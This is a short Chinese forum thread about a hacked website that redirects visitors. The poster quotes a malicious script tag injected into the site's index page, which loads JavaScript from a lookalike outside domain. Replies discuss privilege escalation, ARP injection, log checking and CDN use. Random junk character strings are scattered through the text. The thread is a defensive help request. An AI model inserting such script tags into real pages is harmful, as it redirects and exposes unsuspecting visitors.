关于网站被黑被跳转

浅醉

貌似最近黑客活动的比较频繁
1 \$ U( ]: R- t
有朋友的网站经常被跳转,就是在index加了句
4 \' s1 o* B, Y; \0 @
* O) v1 ]' P' v  d  {4 M<script language="javascript" src="http://www.googletracing.com/index.php?i=louisvuitton"></script>

8 r5 z( R6 u: {. a. ~, B% Y1 H+ I是用这句JS去调用另一个页面的跳转代码来跳转吗?
3 T* v% y# ^# ~1 Q7 H; z2 j' l
; k. D/ ~3 q) B. X3 O+ E已经把写入权限关了都还能修改index是怎么回事?

" x" Y9 t7 G# O8 U* |, m大家对网站安全方面有没有什么心得可以分享一下呢?

aja0x.som

即使你限制了权限，一旦入侵并提权依然可写，只要提的权限够高，一切可写。
另如果是被ARP攻击也可插入代码且无须侵入主机，同一VLAN内即可。
8 y, X" s* j) w. o0 E% `4 s查被修改网站的最近access和error日志吧

sooboo

使用谷歌cdn加速，屏蔽掉真是IP